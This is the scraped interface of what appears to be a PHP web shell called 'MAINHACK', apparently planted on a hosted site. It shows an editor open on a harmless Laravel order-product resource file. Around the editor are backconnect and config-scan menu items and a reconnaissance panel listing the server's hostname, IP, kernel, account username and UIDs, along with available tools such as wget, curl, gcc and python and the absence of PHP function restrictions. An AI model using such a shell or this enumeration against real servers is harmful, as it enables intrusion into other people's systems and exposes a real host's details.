[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OrderProductResource.php
<?php namespace App\Http\Resources; use App\Enums\Ask; use App\Libraries\AppLibrary; use App\Models\ProductTax; use App\Models\ProductVariation; use App\Models\Tax; use Illuminate\Http\Resources\Json\JsonResource; use Smartisan\Settings\Facades\Settings; class OrderProductResource extends JsonResource { /** * Transform the resource into an array. * * @param \Illuminate\Http\Request $request * @return array */ public function toArray($request): array { return [ 'id' => (int) $this->id, 'order_id' => (int) $this->model_id, 'product_id' => (int) $this->product_id, 'product_name' => $this->product?->name, 'product_image' => $this->product?->thumb, 'product_slug' => $this->product?->slug, 'category_name' => $this?->product?->category?->name, 'price' => $this->price, 'currency_price' => AppLibrary::currencyAmountFormat($this->price), 'quantity' => abs($this->quantity), 'order_quantity' => abs($this->quantity), 'discount' => $this->discount, 'discount_currency_price' => AppLibrary::currencyAmountFormat($this->discount), 'tax' => $this->tax, 'tax_currency' => AppLibrary::currencyAmountFormat($this->tax), 'subtotal' => AppLibrary::flatAmountFormat($this->subtotal), 'total' => AppLibrary::flatAmountFormat($this->total), 'subtotal_currency_price' => AppLibrary::currencyAmountFormat($this->subtotal), 'total_currency_price' => AppLibrary::currencyAmountFormat($this->total), 'status' => (int) $this->status, 'variation_names' => $this->variation_names, 'product_user_review' => $this?->product?->userReview ? true : false, 'product_user_review_id' => $this?->product?->userReview?->id, 'is_refundable' => $this?->product?->refundable === Ask::YES ? true : false, 'has_variation' => $this->item_type == ProductVariation::class ? true : false, 'variation_id' => $this->item_type == ProductVariation::class ? $this->item_id : '', 'product_tax' => $this->productTax($this->product_id), ]; } public function productTax($productId) { return ProductTax::where('product_id', $productId) ->with('tax:id,name,tax_rate') ->get() ->map(function ($productTax) { return [ 'tax_name' => $productTax->tax->name, 'tax_rate' => (float) $productTax->tax->tax_rate, ]; }) ->toArray(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285